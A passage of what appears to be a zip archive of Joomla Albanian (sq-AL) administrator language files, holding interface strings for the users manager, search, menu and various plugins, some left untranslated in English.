artikull. Nji dritare e vogël ta mundëson me përcaktue t'dhanat që duhen përdorë." PK@y>\*language/sq-AL/sq-AL.mod_quickicon.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_QUICKICON="Ikonat e shpejta" MOD_QUICKICON_XML_DESCRIPTION="This module shows Quick Icons that are visible on the Control Panel (admin area home page)" MOD_QUICKICON_LAYOUT_DEFAULT="Normalja" PK@y>\۲??.language/sq-AL/sq-AL.plg_search_categories.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CATEGORIES_CATEGORIES="Kategoritë" PLG_SEARCH_CATEGORIES="Kërko - Kategoritë" PLG_SEARCH_CATEGORIES_FIELD_SEARCHLIMIT_DESC="Numri i rezultateve me nxjerrë" PLG_SEARCH_CATEGORIES_FIELD_SEARCHLIMIT_LABEL="Kufini i kërkimit" PLG_SEARCH_CATEGORIES_XML_DESCRIPTION="Mundëson kërkimin e informacioneve të kategorive" PK@y>\PM/language/sq-AL/sq-AL.plg_finder_content.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CONTENT="Kërkim i squet - Përmbajtja" PLG_FINDER_CONTENT_ERROR_ACTIVATING_PLUGIN="S'mundi t'aktivizonte automatikisht pluginin "_QQ_"Kërkim i squet - Përmbajtja"_QQ_" " PLG_FINDER_CONTENT_XML_DESCRIPTION="Ky plugin indekson artikujt Joomla!." PK@y>\2'language/sq-AL/sq-AL.plg_system_log.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_LOG_XML_DESCRIPTION="Jep logun e sistemit" PLG_SYSTEM_LOG="System - Log" PLG_SYSTEM_LOG_FIELD_LOG_USERNAME_DESC="This option will log used user names when an authentication failed" PLG_SYSTEM_LOG_FIELD_LOG_USERNAME_LABEL="Log user names" PK@y>\;2language/sq-AL/sq-AL.plg_editors-xtd_image.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_IMAGE="Buton - Pamja" PLG_IMAGE_XML_DESCRIPTION="Nxjerr nji buton me mundësue futjen e pamjeve në nji artikull. Nxjerr nji dritare të vogël që të lejon me përcaktue t'dhanat e pamjes dhe me ngarkue pamjet e reja." PK@y>\^A-language/sq-AL/sq-AL.plg_finder_newsfeeds.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_NEWSFEEDS="Kërkim i squet - Lajmet feed" PLG_FINDER_NEWSFEEDS_XML_DESCRIPTION="Ky plugin indekson lajmet feed Joomla!." PLG_FINDER_QUERY_FILTER_BRANCH_S_NEWS_FEED="Feed të lajmeve" PLG_FINDER_QUERY_FILTER_BRANCH_P_NEWS_FEED="Lajmet Feed" PK@y>\Z]B]B"language/sq-AL/sq-AL.com_users.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_USERS_OPTION_FILTER_DATE="- Registration Date -" COM_USERS_OPTION_RANGE_PAST_1MONTH="in the last month" COM_USERS_OPTION_RANGE_PAST_3MONTH="in the last 3 months" COM_USERS_OPTION_RANGE_PAST_6MONTH="in the last 6 months" COM_USERS_OPTION_RANGE_PAST_WEEK="in the last week" COM_USERS_OPTION_RANGE_PAST_YEAR="in the last year" COM_USERS_OPTION_RANGE_POST_YEAR="more than a year ago" COM_USERS_OPTION_RANGE_TODAY="sot" COM_USERS="Users Manager" COM_USERS_ACTIONS_AVAILABLE="Actions Permitted" COM_USERS_ACTIVATED="Activated" COM_USERS_ADD_NOTE="Add a note" COM_USERS_ASSIGNED_GROUPS="Assigned User Groups" COM_USERS_BATCH_ADD="Add To Group" COM_USERS_BATCH_DELETE="Delete From Group" COM_USERS_BATCH_GROUP="Zgjidh grupin" COM_USERS_BATCH_OPTIONS="Batch process the selected users" COM_USERS_BATCH_SET="Set To Group" COM_USERS_CATEGORY_HEADING="Kategoria" COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_DESC="Nëse vehet po, përdoruesit e rinj lejohen me u vetëregjistrue" COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_LABEL="Lejo regjistrimin e përdoruesve" COM_USERS_CONFIG_FIELD_CAPTCHA_DESC="Select the captcha plugin that will be used in the registration, password and username reminder forms. You may need to enter required information for your captcha plugin in the Plugin Manager.
      If 'Use Default' is selected, make sure a captcha plugin is selected in Global Configuration." COM_USERS_CONFIG_FIELD_CAPTCHA_LABEL="Captcha" COM_USERS_CONFIG_FIELD_FRONTEND_LANG_DESC="If 'Frontend User Parameters' is set to 'Show', users will be able to select their frontend language preference when registering.
      This is specially handy in a multilanguage setting." COM_USERS_CONFIG_FIELD_FRONTEND_LANG_LABEL="Frontend Language" COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_DESC="If set to Show, Users will be able to select their language, editor, and Help Site preferences on their details screen when logged-in to the frontend." COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_LABEL="Frontend User Parameters" COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_DESC="The default Group that will be applied to guest (not logged-in) Users." COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_LABEL="Guest User Group" COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_DESC="This gets added after the mail text." COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_LABEL="Sufiksi Mailbody" COM_USERS_CONFIG_FIELD_MAILTOADMIN_DESC="If 'New User Account Activation' is set to 'None' or 'Self', allows or not a notification mail to be sent to administrators." COM_USERS_CONFIG_FIELD_MAILTOADMIN_LABEL="Notification Mail to Administrators" COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_DESC="The default group that will be applied to New Users Registering via the frontend." COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_LABEL="New User Registration Group" COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_DESC="This gets added in front of each mail subject." COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_LABEL="Prefiksi i titullit" COM_USERS_CONFIG_FIELD_USERACTIVATION_DESC="If set to None, the user will be registered right away. If set to Self, the User will be emailed a link to activate their account before they can log in. If set to Admin, the user will be emailed a link to verify their email address, then an administrator will be notified to activate the user's account." COM_USERS_CONFIG_FIELD_USERACTIVATION_LABEL="Aktivizim i llogarisë së përdoruesit të ri" COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_ADMINACTIVATION="admini" COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_SELFACTIVATION="Self" COM_USERS_CONFIG_IMPORT_FAILED="An error was encountered while importing the configuration: %s." COM_USERS_CONFIG_SAVE_FAILED="An error was encountered while saving the configuration: %s." COM_USERS_CONFIGURATION="Users Configuration" COM_USERS_DEBUG_EXPLICIT_ALLOW="[ %s ] Allowed" COM_USERS_DEBUG_EXPLICIT_DENY="[ %s ] Forbidden" COM_USERS_DEBUG_GROUP="Debug Permissions Report" COM_USERS_DEBUG_IMPLICIT_DENY="[ %s ] Not Allowed" COM_USERS_DEBUG_LEGEND="Legend:" COM_USERS_DEBUG_NO_CHECK="[   ] Not Applicable" COM_USERS_DEBUG_USER="Debug Permissions Report" COM_USERS_DELETE_ERROR_INVALID_GROUP="You cannot delete user groups to which you belong." COM_USERS_EDIT_NOTE_N="Editing note with ID #%d" COM_USERS_EDIT_USER="Edit User %s" COM_USERS_EMPTY_REVIEW="-" COM_USERS_EMPTY_SUBJECT="- No subject -" COM_USERS_ERROR_INVALID_GROUP="Invalid Group" COM_USERS_ERROR_LEVELS_NOLEVELS_SELECTED="No View Permission Level(s) selected." COM_USERS_ERROR_NO_ADDITIONS="The selected user(s) are already assigned to the selected group." COM_USERS_ERROR_VIEW_LEVEL_IN_USE="You cannot delete the view access level '%d:%s' because it is being used by content." COM_USERS_FIELD_CATEGORY_ID_LABEL="Kategoria" COM_USERS_FIELD_ID_LABEL="id" COM_USERS_FIELD_NOTEBODY_DESC="Note" COM_USERS_FIELD_NOTEBODY_LABEL="Note" COM_USERS_FIELD_REVIEW_TIME_DESC="Review time is a manually entered time you can use as fits in your workflow. Examples would be to put in a date that you want to review a user or the last date you reviewed the user" COM_USERS_FIELD_REVIEW_TIME_LABEL="Review time" COM_USERS_FIELD_STATE_DESC="Set publication status." COM_USERS_FIELD_SUBJECT_DESC="The subject line for the note" COM_USERS_FIELD_SUBJECT_LABEL="Tema" COM_USERS_FIELD_USER_ID_LABEL="id" COM_USERS_FILTER_ACTIVE="- Active -" COM_USERS_FILTER_LABEL="Filter Users by: " COM_USERS_FILTER_NOTES="Show notes list for this user" COM_USERS_FILTER_STATE="- State -" COM_USERS_FILTER_USER_GROUP="Filter User Group" COM_USERS_FILTER_USERGROUP="- Group -" COM_USERS_GROUP_FIELD_PARENT_DESC="Choose a Parent for this Group." COM_USERS_GROUP_FIELD_PARENT_LABEL="Group Parent" COM_USERS_GROUP_FIELD_TITLE_DESC="Enter a Title for the Group." COM_USERS_GROUP_FIELD_TITLE_LABEL="Group Title" COM_USERS_GROUP_SAVE_SUCCESS="Group successfully saved" COM_USERS_GROUPS_CONFIRM_DELETE="Are you sure to delete groups that have users?" COM_USERS_GROUPS_N_ITEMS_DELETED="%d User Groups successfully deleted" COM_USERS_GROUPS_N_ITEMS_DELETED_1="One User Group successfully deleted" COM_USERS_GROUPS_NO_ITEM_SELECTED="No User Groups selected" COM_USERS_HEADING_ACTIVATED="Activated" COM_USERS_HEADING_ASSET_NAME="Asset Name" COM_USERS_HEADING_ASSET_TITLE="Asset Title" COM_USERS_HEADING_ENABLED="Aktivizue" COM_USERS_HEADING_GROUP_TITLE="Group Title" COM_USERS_HEADING_GROUPS="User Groups" COM_USERS_HEADING_LAST_VISIT_DATE="Data e vizitës së fundit" COM_USERS_HEADING_LEVEL_NAME="Level Name" COM_USERS_HEADING_LFT="LFT" COM_USERS_HEADING_NAME="Emni" COM_USERS_HEADING_REGISTRATION_DATE="Registration Date" COM_USERS_HEADING_USERS_IN_GROUP="Users in group" COM_USERS_LEVEL_DETAILS="Level Details" COM_USERS_LEVEL_FIELD_TITLE_DESC="Enter a Title for this Access level." COM_USERS_LEVEL_FIELD_TITLE_LABEL="Level Title" COM_USERS_LEVEL_HEADER_ERROR="User header access level error" COM_USERS_LEVEL_SAVE_SUCCESS="Access level successfully saved" COM_USERS_LEVELS_N_ITEMS_DELETED="%d View Permission Level successfully deleted" COM_USERS_LEVELS_N_ITEMS_DELETED_1="One View Permission Level successfully deleted" COM_USERS_MAIL_DETAILS="Hollësinat" COM_USERS_MAIL_EMAIL_SENT_TO_N_USERS="Email sent to %s users" COM_USERS_MAIL_EMAIL_SENT_TO_N_USERS_1="Email sent to one user" COM_USERS_MAIL_FIELD_EMAIL_DISABLED_USERS_DESC="If checked, disabled users will be included when sending mail" COM_USERS_MAIL_FIELD_EMAIL_DISABLED_USERS_LABEL="Send to disabled users" COM_USERS_MAIL_FIELD_GROUP_DESC="Choose a group to send the mail to." COM_USERS_MAIL_FIELD_GROUP_LABEL="Group:" COM_USERS_MAIL_FIELD_MESSAGE_DESC="Enter here a default message" COM_USERS_MAIL_FIELD_MESSAGE_LABEL="Mesazhi" COM_USERS_MAIL_FIELD_RECURSE_DESC="If checked, the email will also be sent to users who are members of any child groups of the selected groups." COM_USERS_MAIL_FIELD_RECURSE_LABEL="Mail to Child User Groups:" COM_USERS_MAIL_FIELD_SEND_AS_BLIND_CARBON_COPY_DESC="Hides recipient list and adds copy to site email." COM_USERS_MAIL_FIELD_SEND_AS_BLIND_CARBON_COPY_LABEL="Recipients as BCC:" COM_USERS_MAIL_FIELD_SEND_IN_HTML_MODE_DESC="If checked, the email will be sent with HTML tags. If not checked, email will be sent in plain text." COM_USERS_MAIL_FIELD_SEND_IN_HTML_MODE_LABEL="Send in HTML mode:" COM_USERS_MAIL_FIELD_SUBJECT_DESC="Enter the subject of the mail" COM_USERS_MAIL_FIELD_SUBJECT_LABEL="Tema" COM_USERS_MAIL_FIELD_VALUE_ALL_USERS_GROUPS="All Users Groups" COM_USERS_MAIL_MESSAGE="Mesazhi" COM_USERS_MAIL_NO_USERS_COULD_BE_FOUND_IN_THIS_GROUP="No users could be found in this group." COM_USERS_MAIL_ONLY_YOU_COULD_BE_FOUND_IN_THIS_GROUP="You are the only user in this group." COM_USERS_MAIL_PLEASE_FILL_IN_THE_FORM_CORRECTLY="Please fill in the form correctly." COM_USERS_MAIL_PLEASE_FILL_IN_THE_MESSAGE="Fut nji mesazh" COM_USERS_MAIL_PLEASE_FILL_IN_THE_SUBJECT="Fut nji titull" COM_USERS_MAIL_PLEASE_SELECT_A_GROUP="Zgjidh nji grup" COM_USERS_MAIL_THE_MAIL_COULD_NOT_BE_SENT="The mail could not be sent." COM_USERS_MASS_MAIL="Postë masive" COM_USERS_MASS_MAIL_DESC="Mass Mail options" COM_USERS_N_LEVELS_DELETED="%d View Access Levels successfully removed." COM_USERS_N_LEVELS_DELETED_0="No View Access Levels removed." COM_USERS_N_LEVELS_DELETED_1="%d View Access Level successfully removed." COM_USERS_N_USER_NOTES="Display %d notes" COM_USERS_N_USER_NOTES_1="Display %d note" COM_USERS_N_USER_NOTES_0="No notes to display" COM_USERS_N_USERS_ACTIVATED="%s Users successfully activated" COM_USERS_N_USERS_ACTIVATED_0="No user activated" COM_USERS_N_USERS_ACTIVATED_1="User successfully activated" COM_USERS_N_USERS_BLOCKED="%s Users blocked" COM_USERS_N_USERS_BLOCKED_0="No User blocked" COM_USERS_N_USERS_BLOCKED_1="User blocked" COM_USERS_N_USERS_UNBLOCKED="%s Users enabled" COM_USERS_N_USERS_UNBLOCKED_0="No User enabled" COM_USERS_N_USERS_UNBLOCKED_1="User enabled" COM_USERS_NEW_NOTE="New note" COM_USERS_NO_NOTES="No notes available for this user." COM_USERS_NO_LEVELS_SELECTED="No Viewing Access Levels selected" COM_USERS_NOTE_N_SUBJECT="#%d %s" COM_USERS_NOTES="Notes" COM_USERS_NOTES_FOR_USER="Notes for user %s (ID #%d)" COM_USERS_NOTES_N_ITEMS_ARCHIVED="%d User Notes successfully archived" COM_USERS_NOTES_N_ITEMS_ARCHIVED_1="%d User Note successfully archived" COM_USERS_NOTES_N_ITEMS_CHECKED_IN="%d User Notes successfully checked in" COM_USERS_NOTES_N_ITEMS_CHECKED_IN_1="%d User Note successfully checked in" COM_USERS_NOTES_N_ITEMS_DELETED="%d User Notes successfully deleted" COM_USERS_NOTES_N_ITEMS_DELETED_1="%d User Note successfully deleted" COM_USERS_NOTES_N_ITEMS_PUBLISHED="%d User Notes successfully published" COM_USERS_NOTES_N_ITEMS_PUBLISHED_1="%d User Note successfully published" COM_USERS_NOTES_N_ITEMS_TRASHED="%d User Notes successfully trashed" COM_USERS_NOTES_N_ITEMS_TRASHED_1="%d User Note successfully trashed" COM_USERS_NOTES_N_ITEMS_UNPUBLISHED="%d User Notes successfully unpublished" COM_USERS_NOTES_N_ITEMS_UNPUBLISHED_1="%d User Note successfully unpublished" COM_USERS_OPTION_LEVEL_CATEGORY="%d (top category)" COM_USERS_OPTION_LEVEL_COMPONENT="%d (component)" COM_USERS_OPTION_LEVEL_DEEPER="%d (deeper)" COM_USERS_OPTION_SELECT_COMPONENT="- Select Component -" COM_USERS_OPTION_SELECT_LEVEL_END="- Select End Level -" COM_USERS_OPTION_SELECT_LEVEL_START="- Select Start Level -" COM_USERS_REVIEW_HEADING="Review date" COM_USERS_SEARCH_ACCESS_LEVELS="Search Viewing Access Levels" COM_USERS_SEARCH_ASSETS="Search Assets" COM_USERS_SEARCH_GROUPS_LABEL="Search User Groups" COM_USERS_SEARCH_IN_GROUPS="Search in title" COM_USERS_SEARCH_IN_NAME="Search in name" COM_USERS_SEARCH_IN_NOTE_TITLE="Search in notes subject or user name." COM_USERS_SEARCH_TITLE_LEVELS="Search for Access Levels." COM_USERS_SEARCH_USERS="Search Users" COM_USERS_SETTINGS_FIELDSET_LABEL="Basic Settings" COM_USERS_SUBMENU_GROUPS="User Groups" COM_USERS_SUBMENU_LEVELS="Viewing Access Levels" COM_USERS_SUBMENU_NOTES="User Notes" COM_USERS_SUBMENU_NOTE_CATEGORIES="Note Categories" COM_USERS_SUBMENU_USERS="Përdoruesit" COM_USERS_SUBJECT_HEADING="Tema" COM_USERS_TOOLBAR_ACTIVATE="Activate" COM_USERS_TOOLBAR_BLOCK="Block" COM_USERS_TOOLBAR_MAIL_SEND_MAIL="Send email" COM_USERS_TOOLBAR_UNBLOCK="Unblock" COM_USERS_UNACTIVATED="Unactivated" COM_USERS_USER_ACCOUNT_DETAILS="Account Details" COM_USERS_USER_BATCH_FAILED="An error was encountered while performing the batch operation: %s." COM_USERS_USER_BATCH_SUCCESS="Batch operation completed successfully." COM_USERS_USER_FIELD_BACKEND_LANGUAGE_DESC="Select the Language for the Administrator Backend interface. This will only affect this User." COM_USERS_USER_FIELD_BACKEND_LANGUAGE_LABEL="Backend Language" COM_USERS_USER_FIELD_BACKEND_TEMPLATE_DESC="Select the template style for the Administrator Backend interface. This will only affect this User." COM_USERS_USER_FIELD_BACKEND_TEMPLATE_LABEL="Backend Template Style" COM_USERS_USER_FIELD_BLOCK_DESC="Block this user" COM_USERS_USER_FIELD_BLOCK_LABEL="Block this User" COM_USERS_USER_FIELD_EDITOR_DESC="Editori i përdoruesit" COM_USERS_USER_FIELD_EDITOR_LABEL="Editori" COM_USERS_USER_FIELD_EMAIL_DESC="Enter an email for the user" COM_USERS_USER_FIELD_FRONTEND_LANGUAGE_DESC="Select the Language for the frontend interface. This will only affect this User." COM_USERS_USER_FIELD_FRONTEND_LANGUAGE_LABEL="Frontend Language" COM_USERS_USER_FIELD_HELPSITE_DESC="Faqja e ndihmës për këte përdorues" COM_USERS_USER_FIELD_HELPSITE_LABEL="Faqja e ndihmës" COM_USERS_USER_FIELD_LASTVISIT_DESC="Data e vizitës së fundit" COM_USERS_USER_FIELD_LASTVISIT_LABEL="Data e vizitës së fundit" COM_USERS_USER_FIELD_NAME_DESC="Enter the name of the user" COM_USERS_USER_FIELD_PASSWORD2_DESC="Confirm the user's password" COM_USERS_USER_FIELD_PASSWORD2_LABEL="Confirm Password" COM_USERS_USER_FIELD_PASSWORD_DESC="Enter the password for the user" COM_USERS_USER_FIELD_REGISTERDATE_DESC="Registration Date" COM_USERS_USER_FIELD_REGISTERDATE_LABEL="Registration Date" COM_USERS_USER_FIELD_SENDEMAIL_DESC="If set to yes, the user will receive system emails." COM_USERS_USER_FIELD_SENDEMAIL_LABEL="Receive System emails" COM_USERS_USER_FIELD_TIMEZONE_DESC="Zona orare për këte përdorues" COM_USERS_USER_FIELD_TIMEZONE_LABEL="Zona orare" COM_USERS_USER_FIELD_USERNAME_DESC="Enter the login name (User name) for the user." COM_USERS_USER_FIELD_USERNAME_LABEL="Login Name" COM_USERS_USER_GROUPS_HAVING_ACCESS="User Groups Having Viewing Access" COM_USERS_USER_HEADING="Përdoruesi" COM_USERS_USER_SAVE_FAILED="An error was encountered while saving the member: %s." COM_USERS_USER_SAVE_SUCCESS="User successfully saved." COM_USERS_USERGROUP_DETAILS="User Group Details" COM_USERS_USERS_ERROR_CANNOT_BLOCK_SELF="You cannot block yourself." COM_USERS_USERS_ERROR_CANNOT_DELETE_SELF="You cannot delete yourself." COM_USERS_USERS_ERROR_CANNOT_DEMOTE_SELF="You cannot remove your own Super Admin permissions." COM_USERS_USERS_MULTIPLE_GROUPS="Multiple groups" COM_USERS_USERS_N_ITEMS_DELETED="%d users successfully deleted" COM_USERS_USERS_N_ITEMS_DELETED_1="One user successfully deleted" COM_USERS_USERS_NO_ITEM_SELECTED="No Users selected" COM_USERS_VIEW_DEBUG_GROUP_TITLE="Debug Permissions Report for Group #%d, %s" COM_USERS_VIEW_DEBUG_USER_TITLE="Debug Permissions Report for User #%d, %s" COM_USERS_VIEW_EDIT_GROUP_TITLE="User Manager: Edit Group" COM_USERS_VIEW_EDIT_LEVEL_TITLE="User Manager: Edit Viewing Access Level" COM_USERS_VIEW_EDIT_PROFILE_TITLE="User Manager: Edit Profile" COM_USERS_VIEW_EDIT_USER_TITLE="User Manager: Edit User" COM_USERS_VIEW_GROUPS_TITLE="User Manager: User Groups" COM_USERS_VIEW_LEVELS_TITLE="User Manager: Viewing Access Levels" COM_USERS_VIEW_NEW_GROUP_TITLE="User Manager: Add New User Group" COM_USERS_VIEW_NEW_LEVEL_TITLE="User Manager: Add New Viewing Access Level" COM_USERS_VIEW_NEW_USER_TITLE="User Manager: Add New User" COM_USERS_VIEW_NOTES_TITLE="User Note" COM_USERS_VIEW_USERS_TITLE="User Manager: Users" COM_USERS_XML_DESCRIPTION="Component for managing users" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\3+#ytt,language/sq-AL/sq-AL.plg_user_joomla.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_USER_JOOMLA="User - Joomla!" PLG_USER_JOOMLA_XML_DESCRIPTION="Merret me sinkronizimin normal të përdoruesve të Joomla!-s"PK@y>\/WRR,language/sq-AL/sq-AL.plg_system_remember.ininuW+A; Joomla1 sq-AL ; @package Joomla ; @subpackage plgSystemRedirect ; @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_REMEMBER_XML_DESCRIPTION="Provides remember me functionality" PLG_SYSTEM_REMEMBER="System - Remember Me" PK@y>\-language/sq-AL/sq-AL.plg_system_debug.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM PLG_DEBUG_XML_DESCRIPTION="This plugin provides a variety of system information and assistance for the creation of translation files." PLG_SYSTEM_DEBUG="System - Debug" PK@y>\,^!j7language/sq-AL/sq-AL.plg_content_pagenavigation.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_PAGENAVIGATION="Content - Page Navigation" PLG_PAGENAVIGATION_XML_DESCRIPTION="Ta mundëson me shtue funksionin Tjetri & I maparshmi te nji artikull." PK@y>\VSMM-language/sq-AL/sq-AL.plg_system_cache.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CACHE_XML_DESCRIPTION="Mundëson ruejtjen e faqeve" PLG_SYSTEM_CACHE="System - Cache"PK@y>\`&{{*language/sq-AL/sq-AL.com_installer.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_INSTALLER="Installation Manager" COM_INSTALLER_XML_DESCRIPTION="Installer component for adding, removing and upgrading extensions" PK@y>\'([6language/sq-AL/sq-AL.plg_authentication_joomla.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTH_JOOMLA_XML_DESCRIPTION="Handles Joomla's default User authentication
      Warning! You must have at least one authentication plugin enabled or you will lose all access to your site." PLG_AUTHENTICATION_JOOMLA="Authentication - Joomla"PK@y>\b++,language/sq-AL/sq-AL.plg_search_contacts.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CONTACTS="Kërko - Kontaktet" PLG_SEARCH_CONTACTS_CONTACTS="Kontaktet" PLG_SEARCH_CONTACTS_FIELD_SEARCHLIMIT_DESC="Numri i rezultateve me nxjerrë" PLG_SEARCH_CONTACTS_FIELD_SEARCHLIMIT_LABEL="Kufini i kërkimit" PLG_SEARCH_CONTACTS_XML_DESCRIPTION="Mundëson kërkimin në komponentin e kontakteve" PK@y>\^]]#language/sq-AL/sq-AL.mod_logged.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LOGGED="Logged-in Users" MOD_LOGGED_ADMINISTRATOR="Administratori" MOD_LOGGED_EDIT_USER="Ndrysho përdoruesin" MOD_LOGGED_FIELD_COUNT_DESC="The number of items to display (default 5)" MOD_LOGGED_FIELD_COUNT_LABEL="Count" MOD_LOGGED_FIELD_NAME_DESC="Displays name or user name" MOD_LOGGED_LAST_ACTIVITY="Veprimtaria e fundit" MOD_LOGGED_LOGOUT="Dil" MOD_LOGGED_NAME="Emni" MOD_LOGGED_SITE="Faqja" MOD_LOGGED_TITLE="Last Logged-in Users" MOD_LOGGED_TITLE_1="Last Logged-in User" MOD_LOGGED_TITLE_MORE="Last %s Logged-in Users" MOD_LOGGED_XML_DESCRIPTION="This Module shows a list of the currently Logged-in Users" PK@y>\f$language/sq-AL/sq-AL.mod_toolbar.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_TOOLBAR="Shiriti" MOD_TOOLBAR_XML_DESCRIPTION="Ky modul tregon ikonat e shiritit përdorë me kontrollue veprimet në zonën e administratorit"PK@y>\\!language/sq-AL/sq-AL.mod_menu.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_MENU="Administrator Menu" MOD_MENU_CLEAR_CACHE="Clear Cache" MOD_MENU_COMPONENTS="Komponentat" MOD_MENU_COM_CONTENT="Përmbajtja" MOD_MENU_COM_CONTENT_ARTICLE_MANAGER="Artikujt" MOD_MENU_COM_CONTENT_CATEGORY_MANAGER="Kategoritë" MOD_MENU_COM_CONTENT_FEATURED="Featured Articles" MOD_MENU_COM_CONTENT_NEW_ARTICLE="Artikull i ri" MOD_MENU_COM_CONTENT_NEW_CATEGORY="Add New Category" MOD_MENU_COM_USERS="Përdoruesit" MOD_MENU_COM_USERS_ADD_GROUP="Add New Group" MOD_MENU_COM_USERS_ADD_LEVEL="Add New Access Level" MOD_MENU_COM_USERS_ADD_USER="Add New User" MOD_MENU_COM_USERS_GROUPS="Groups" MOD_MENU_COM_USERS_LEVELS="Access Levels" MOD_MENU_COM_USERS_USERS="Përdoruesit" MOD_MENU_COM_USERS_USER_MANAGER="Përdoruesit" MOD_MENU_COM_USERS_ADD_NOTE="Add User Note" MOD_MENU_COM_USERS_NOTES="User Notes" MOD_MENU_COM_USERS_NOTE_CATEGORIES="User Note Categories" MOD_MENU_CONFIGURATION="Konfigurimi" MOD_MENU_CONTROL_PANEL="Paneli i kontrollit" MOD_MENU_EXTENSIONS_EXTENSIONS="Zgjatimet" MOD_MENU_EXTENSIONS_EXTENSION_MANAGER="Zgjatimet" MOD_MENU_EXTENSIONS_LANGUAGE_MANAGER="Gjuha" MOD_MENU_EXTENSIONS_MODULE_MANAGER="Modulet" MOD_MENU_EXTENSIONS_PLUGIN_MANAGER="Plug-in Manager" MOD_MENU_EXTENSIONS_TEMPLATE_MANAGER="Ftyrat" MOD_MENU_FIELD_FORUMURL_DESC="You may enter here the URL to another forum than the default ones." MOD_MENU_FIELD_FORUMURL_LABEL="Custom Support Forum" MOD_MENU_FIELD_SHOWHELP="Help Menu" 